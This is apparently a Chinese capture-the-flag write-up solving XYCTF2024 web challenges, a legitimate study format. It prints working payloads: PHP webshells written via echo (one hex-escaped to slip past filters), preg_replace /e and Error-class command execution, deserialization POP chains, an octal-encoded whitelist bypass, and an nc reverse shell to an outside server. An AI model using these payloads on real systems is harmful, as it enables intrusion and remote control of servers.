目录

xyctf

# XYCTF2024 web

web题目对新手挺友好,比赛过程学到很多东西,做了7个web,404名哈哈,奇怪的数字 404

oSthing师傅太厉害啦

复现参考

# ezhttp

查看robots.txt

User-agent: *
Disallow: /l0g1n.txt
1
2

访问/l0g1n.txt

username: XYCTF
password: @JOILha!wuigqi123$
1
2

找到账号密码,登录提示需要添加一些字段名验证

相关字段验证

tip1: 不是 yuanshen.com 来的我不要
验证来源:
hackbar添加键:Referer,值:yuanshen.com

tip2: 你用的不是XYCTF的浏览器
验证UA:
hackbar添加键:User-Agent,值:XYCTF

tip3:非本地用户禁止访问!
验证ip: 常见记录ip字段X-Forwarded-For
hackbar添加键:X-Forwarded-For,值:127.0.0.1

tip4:xff 打咩!!!
说明不能用xff,换个字段Client-IP,也是用来记录客户端ip
hackbar添加键:Client-IP,值:127.0.0.1

tip5:不是从 ymzx.qq.com 代理来的我不玩
需要记录代理服务器的字段名,Via,Forwarded 尝试forwarded没有反应 换via
hackbar添加键:Via,值:ymzx.qq.com

tip6:有点饿,想吃点XYCTF的小饼干
提示饼干(cookie)
hackbar添加键:Cookie,值:XYCTF
最后拿到flag
hackbar

# warm up

粘个源码(太感谢oSthing师傅了!!

<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);

if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] &&
 md5($_GET['val1']) == md5($_GET['val2'])) {
    echo "ez" . "<br>";
} else {
    die("什么情况,这么基础的md5做不来");
}

if (isset($md5) && $md5 == md5($md5)) {
    echo "ezez" . "<br>";
} else {
    die("什么情况,这么基础的md5做不来");
}

if ($XY == $XYCTF) {
    if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
        echo $level2;
    } else {
        die("什么情况,这么基础的md5做不来");
    }
} else {
    die("学这么久,传参不会传?");
}

什么情况,这么基础的md5做不来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

# 第一层if语句

    1. 要求定义 $_GET['val1'],$_GET['val2']
    1. 这两个变量不能相等
    1. 他们的md5比较要求相同

方法一:数组绕过
前面两个条件很好满足,那么第三个条件可以利用md5()函数的缺陷,它不能对数组加密,否则报错返回NULL,那么如果两个都是数组就会得到NULL=NULL的表达式,满足条件从而绕过

payload:?val1[]=1&val2[]=2

方法二:0e绕过 如果字符串经过md5加密得到两个都是0e开头的字符串,在比较是会作为数字0,这些md5可以绕过比较的字符串可以尝试百度

payload:?val1=QNKCDZO&val2=byGcY

# 第二层if语句

条件:$md5==md5($md5)

CSDN参考文章 (opens new window)

payload:0e215962017

这个payload字符串 md5()后是0e开头的串,就变成字符串和数字0比较返回true,绕过比较

!> 下面是失败的尝试

刚看到直接就想到$md5=0,这样md5后的字符串和0比较可以得到true(聪明),传参后发现不对 使用在线平台测试


// 测试
$md5=0;
var_dump($md5==md5($md5));

// 结果
bool(true)
1
2
3
4
5
6
7

猜到了为什么了吗(~聪明~),因为这里$md5是GET传进来的,所以0是字符串,那么'0'=md5('0'),两个字符串比较

// 测试
var_dump('0'==md5('0'));
// 结果
bool(false)
1
2
3
4

我还想到一种,这个应该同理,这个NULL传入时也是字符串'NULL'不是NULl

// 测试
$md5[]=NULL;
var_dump($md5==md5($md5));
// 结果
bool(true)
1
2
3
4
5

# 第三层if语句

条件:if ($XY == $XYCTF),if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591"))
第一个$XY == $XYCTF,$XY要和$XYCTF相同,可以根据开头的extract($_GET);给XYCTF重新赋值

PHP在线平台测试

// 测试
md5("XYCTF_550102591")
// 结果
0e937920457786991080577371025051
1
2
3
4

这个结果0e开头,可以用第一层if语句的0e字符串

payload:XY=byGcY&XYCTF=byGcY

进入第二关

# 正则函数的使用

# 第一层if语句2.0

条件:

if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a']))
1

要求:POST方法定义了a,且变量a不含数字,intval()函数后不为0
这下好了,连字符串1a的特性都用不了,那我们还可以用数组
tip:**intval()函数操作数组时会报错并返回1 满足条件,绕过

# 最后

出题人给了一个正则函数,美针针

preg_replace($_GET['a'],$_GET['b'],$_GET['c']);
1

第一部分是正则表达式,第二部分是操作,第三部分是目标
在第一部分:/abcd/e的abcd,它会匹配第三部分目标中的abcd,替换为第二部分的操作或者字符串,e参数会将第二部分作为php代码执行

payload:?a=/abcd/e&b=system("ls")&c=abcd
最后你可以在根目录下找到flag

# ezmake

这两题的ezmake,我的做法是写木马进去(makefile

你可以参考这个文章 (opens new window)

你可以使用echo '字符串',这样来测试那些内容有过滤,如/,; 是黑名单

没什么过滤,直接使用echo写一个php马进去

echo '<?php eval($_POST[a])?>' > 1.php
1

执行后发现它把$简单过滤了一次,再写一次发现就可以了

# ez?make

这题在上题的基础上难度增加有点大(oSting师傅好厉害,刀法精准)

经过漫长测试,发现flag,c,a,t,f,l,?,*,;,/都拉了黑名单,以及()同时出现时,会被正则干扰,不过发现?它只禁了小写(开心),那么linux的系统命令我们是用不了了

刚开始一直在想怎么构造一个?来写php文件呢,又是漫长的测试,如chr(63),后面发现如果()同时出现会被正则干扰,函数也用不了
后面发现echo的一个参数e,它可以将字符串中16进制转义为相应字符ASCll码对照表 (opens new window)

相关字符:

# ascll 转16进制
"   \x22
$   \x24
?   \x3f
'   \x27
(   \x28
)   \x29
;   \x3B
1
2
3
4
5
6
7
8

小写被禁用了可以用大写,16进制数中大小写不敏感

payload: echo -e '<\x3Fphp EVAL\x28\x24_POST["A"]\x29\x3BHIGHLIGHT_FILE\x28__FILE__\x29\x3B' > 2.php

ez?make

# ezmd5

先尝试上传两次同一个jpg图片,提示文件md5一样但是文件不一样

上传两个不同的jpg文件,提示文件相同,md5不同,猜测需要文件内容不同md5相同的jpg图片,在谷歌搜索到两张符合添加的jpg图片,上传提示文件相同,md5相同,并给出了flag

图片放在这里

图1

图2

# ezClass

粘下源码

<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());
1
2
3
4
5
6
7
8

payload: ?a=SplFileObject&aa=php://filter/convert.base64-encode/resource=/flag&c=__toString

这里不给b,bb也可以读文件

做这套题时,我也想到了原生类,在搜索过程看到了Error类,但没有详细看,最后使用了一个SplFileObject的原生类,结合伪协议把flag读了出来
参考博客 (opens new window)
看了这位大师傅的博客后有很多想法,起初是抱着试一试的想法,试到SplFileObject类的__toString方法和伪协议,真的把index.php的base64读出来了(不过会报错,再根据oSthing师傅的习惯,直接读根目录下的flag文件,就拿到了flag,但是如果文件名不是flag,这个方法就失效了

ezclass

比赛结束看到了Error原生类的做法,实现了命令执行的作用,太厉害了。使用Error类的getmessage方法,将bb的字符串传给前面的字符串处理,把前面传入system字符串作为函数,后面使用linux命令就可以正常执行命令了

payload: ?a=Error&aa=system&c=getmessage&b=Error&bb=ls

# 复现

# ezPOP

粘下源码

<?php
error_reporting(0);
highlight_file(__FILE__);

class AAA
{
    public $s;
    public $a;
    public function __toString()
    {
        echo "you get 2 A <br>";
        $p = $this->a;
        return $this->s->$p;
    }
}

class BBB
{
    public $c;
    public $d;
    public function __get($name)
    {
        echo "you get 2 B <br>";
        $a=$_POST['a'];
        $b=$_POST;
        $c=$this->c;
        $d=$this->d;
        if (isset($b['a'])) {
            unset($b['a']);
        }
        call_user_func($a,$b)($c)($d);
    }
}

class CCC
{
    public $c;

    public function __destruct()
    {
        echo "you get 2 C <br>";
        echo $this->c;
    }
}


if(isset($_GET['xy'])) {
    $a = unserialize($_GET['xy']);
    throw new Exception("noooooob!!!");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

pop链思路很清晰:pop链从CCC类的析构函数切入,在**echo $this->c;**时跳到AAA类的toString方法,在toString方法中,return $this->s->$p,让把BBB类的对象赋值给s,打印一个BBB类没有的属性就可以了

在程序触发get方法时,call_user_func($a,$b)($c)($d);给你一个call_user_func甜品函数(不过我挣扎到最后也没吃上,可恶),这个语句会把$a作为回调函数,处理$b,但是$b很特殊是一个数组,一般函数处理不了(强大如eval,system,exec等都无法使用),这里提一个函数implode,用于返回一个由数组元素组合成的字符串,再把这个字符串作为回调函数,参考其他师傅,使用implode,strrev,system,ls函数和命令,把题目给的参数给打满了,太厉害了

例如:

$a = 'implode';
$b = 'strrev';
$c = 'metsys';
$d = 'ls';
call_user_func($a,$b)($c)($d);
1
2
3
4
5

利用call_user_func执行implode,把数组中的字符串'strrev'转化为字符串,作为新的回调函数处理$c,strrev将构造好的反向system转化过来作为函数执行'ls'命令,实现命令执行

pop链:

$aa = new AAA();
$bb = new BBB();
$cc = new CCC();
$bb -> c ='metsys';
$bb -> d ='cat /flag';
$aa->s = $bb;
$aa->a = $e;

$cc->c = $aa;
echo serialize($cc);
1
2
3
4
5
6
7
8
9
10

payload:

虚假的payload:
?xy=O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"metsys";s:1:"d";s:9:"cat /flag";}s:1:"a";N;}}
记得题目最后需要破坏pop链,抛出异常结束程序,最后1改2就可以

get: ?xy=O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"metsys";s:1:"d";s:9:"cat /flag";}s:2:"a";N;}}

post: a=implode&b=strrev

ezpop

我尝试发现,可以使用a=implode,把b=system作为函数执行$c,这样也能执行,$d不用管了。这也太好丸了吧

# ezRCE

粘下源码

<?php
highlight_file(__FILE__);
function waf($cmd){
    $white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<']; 
    $cmd_char = str_split($cmd);
    foreach($cmd_char as $char){
        if (!in_array($char, $white_list)){
            die("really ez?");
        }
    }
    return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);
1
2
3
4
5
6
7
8
9
10
11
12
13
14

题目白名单字符有数字,反斜杠,单引号,美元符和小于号。反斜杠和数字可以实现八进制表示字符串,在linux中,$''其中引号内的八进制数会转化为字符串执行,但是不能执行带有参数的命令,或者说命令中不能有空格,例如tac /flag,ls -ahl中/flag,-ahl都算参数,可以命令分为两部分,前面命令后面参数,两部分不能直接连起来,需要空格分隔符,题目没有空格但是有小于号,小于号在linux命令行中可以代替空格的作用
思路清楚了,使用字符串在线转八进制数网站 (opens new window),八进制数去掉空格添加反斜杠,例如:ls转化后154 163,$'\154\163' 执行ls命令

构造 tac</flag

payload: $'\164\141\143'<$'\57\146\154\141\147'

ezRCE

# 牢牢记住,逝者为大

源码

<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
    if (strlen($cmd) > 13) {
        die("see you again~");
    }
    if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
        die("肘死你");
    }
    foreach ($_GET as $val_name => $val_val) {
        if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
            return "what can i say";
        }
    }
    return $cmd;
}

$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd  . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

解法1:反弹shell
过滤:这题首先对输入进行了过滤,如果超长或者正则匹配到黑名单会直接结束程序
绕过:在eval中,需要解决井号注释的作用,也要解决后面拼接字符串的障碍

在eval中,使用换行url编码%0a绕过注释,再使用%23注释掉后面拼接的内容 通过反引号执行linux系统命令

vps端:nc -l 端口 这样不会提示监听到了( 但执行命令有回显
foreach会对每一个get参数进行过滤,过滤了bin,可以在字符中添加一对单双引号绕过

最终payload:url?c=%0a`$_GET[b]`;%23&b=nc 公网ip 端口 -e /bi''n/sh

在vps查看flag tac /flag

# ezSerialize

这关套娃套了三层,卡死在stdclass这个芝士点了

第一层

<?php
include 'flag.php';
highlight_file(__FILE__);
error_reporting(0);

class Flag {
    public $token;
    public $password;

    public function __construct($a, $b)
    {
        $this->token = $a;
        $this->password = $b;
    }

    public function login()
    {
        return $this->token === $this->password;
    }
}

if (isset($_GET['pop'])) {
    $pop = unserialize($_GET['pop']);
    $pop->token=md5(mt_rand());
    if($pop->login()) {
        echo $flag;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

第一层,考察引用。把随机数的md5值赋值给反序列化对象的token,调用login函数,token===login相等才给flag,在构造函数里把password作为token的引用,这样就一定相等了

pop链

class Flag {
    public $token;
    public $password;

    public function __construct($a, $b)
    {
        $this->token = $a;
        $this->password = &$this->token;
    }

    public function login()
    {
        return $this->token === $this->password;
    }
}

$payload = new Flag(1,1);
echo serialize($payload);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

payload: ?pop=O:4:"Flag":2:{s:5:"token";i:1;s:8:"password";R:2;}

打印flag(第二关:fpclosefpclosefpcloseffflllaaaggg.php

<?php
highlight_file(__FILE__);
class A {
    public $mack;
    public function __invoke()
    {
        $this->mack->nonExistentMethod();
    }
}

class B {
    public $luo;
    public function __get($key){
        echo "o.O<br>";
        $function = $this->luo;
        return $function();
    }
}

class C {
    public $wang1;

    public function __call($wang1,$wang2)
    {
            include 'flag.php';
            echo $flag2;
    }
}


class D {
    public $lao;
    public $chen;
    public function __toString(){
        echo "O.o<br>";
        return is_null($this->lao->chen) ? "" : $this->lao->chen;
    }
}

class E {
    public $name = "xxxxx";
    public $num;

    public function __unserialize($data)
    {
        echo "<br>学到就是赚到!<br>";
        echo $data['num'];
    }
    public function __wakeup(){
        if($this->name!='' || $this->num!=''){
            echo "旅行者别忘记旅行的意义!<br>";
        }
    }
}

if (isset($_POST['pop'])) {
    unserialize($_POST['pop']);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

第二层:开始考察魔术方法的触发时机了。pop链:unser----toString----get-----invoke-----call
反序列化时触发__unserialize, 关键点:echo $data['num']; 如果$data['num']是一个D类的对象,会接着触发__toString
关键点:return is_null($this->lao->chen) ? "" : $this->lao->chen; 如果$this->lao是一个B类的对象,打印没有的变量$chen会触发__get魔术方法
关键点:$function = $this->luo;return $function();返回一个函数 如果$function是一个对象,触发__invoke魔术方法
关键点:$this->mack->nonExistentMethod();,调用了一个函数 如果成员属性$mack是C类的对象,调用没有的方法,触发__call魔术方法,打印flag2

思路很简单,但反序列化方法中需要注意echo $data['num'],把成员属性num定义成一个数组

$e = new E();
$d = new D();
$b = new B();
$a = new A();
$c = new C();
$e -> num = array('num' => 10);;
$e -> name =  $d;
$d -> lao = $b;
$b ->luo = $a;
$a ->mack = $c;
echo serialize($e);
1
2
3
4
5
6
7
8
9
10
11

打印第三层:saber_master_saber_master.php

<?php

error_reporting(0);
highlight_file(__FILE__);

// flag.php
class XYCTFNO1
{
    public $Liu;
    public $T1ng;
    private $upsw1ng;

    public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
    {
        $this->Liu = $Liu;
        $this->T1ng = $T1ng;
        $this->upsw1ng = $upsw1ng;
    }
}

class XYCTFNO2
{
    public $crypto0;
    public $adwa;

    public function __construct($crypto0, $adwa)
    {
        $this->crypto0 = $crypto0;
    }

    public function XYCTF()
    {
        if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
            return False;
        } else {
            return True;
        }
    }
}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";

    public function __construct($KickyMu, $fpclose)
    {
        $this->KickyMu = $KickyMu;
        $this->fpclose = $fpclose;
    }

    public function XY()
    {
        if ($this->N1ght == 'oSthing') {
            echo "WOW, You web is really good!!!\n";
            echo new $_POST['X']($_POST['Y']);
        }
    }

    public function __wakeup()
    {
        if ($this->KickyMu->XYCTF()) {
            $this->XY();
        }
    }
}


if (isset($_GET['CTF'])) {
    unserialize($_GET['CTF']);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

难点在$this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258',两个都要满足,让函数返回true,才能调用XY()函数

思路:反序列化后触发wakeup魔术方法,if ($this->KickyMu->XYCTF()) {$this->XY();}在wakeup中调用XYCTFNO2类的xyctf()函数,把KickyMu属性定义为一个XYCTFNO2的对象

还需要XYCTF()函数返回true,需要$this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258'同时满足,这两个属性分别是两个类的属性,不可能把adwa定义为两个类的对象,引入原生类stdClass

stdClass类是一个空类,可以随便怎么玩

把属性adwa定义为一个stdClass类,定义两个属性crypto0,T1ng赋值dev1l,yuroandCMD258,这样就可以返回true,调用XY()函数

pop链

$ddd = new stdClass();
$ddd -> crypto0 = "dev1l";
$ddd -> T1ng = "yuroandCMD258";
$ser2 = new XYCTFNO2('','');
$ser3 = new XYCTFNO3($ser2,'');
$ser3 ->N1ght = 'oSthing';
$ser2 -> adwa = $ddd;
echo serialize($ser3);
1
2
3
4
5
6
7
8

payload:?CTF=O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";s:0:"";s:4:"adwa";O:8:"stdClass":2:{s:7:"crypto0";s:5:"dev1l";s:4:"T1ng";s:13:"yuroandCMD258";}}s:7:"fpclose";s:0:"";s:5:"N1ght";s:7:"oSthing";}

接着调用了XY()函数,echo new $_POST'X'; 创建了一个对象,并打印了这个对象,一定会触发这个对象的__toString方法。

可以按照ezClass题的玩法,用SplFileObject原生类和伪协议读文件

POST

payload: X=SplFileObject&Y=php://filter/convert.base64-encode/resource=/flag

# 其他题目对于我有点难,后续补充芝士可能再续上

# 比赛过程插曲

在一道网络迷踪题中,出题人附件一张风景图,最后很多ctfer在一个社交媒体软件团建哈哈,挺有意思

ctfer

最后一次更新于: 2024/09/07, 22:30:21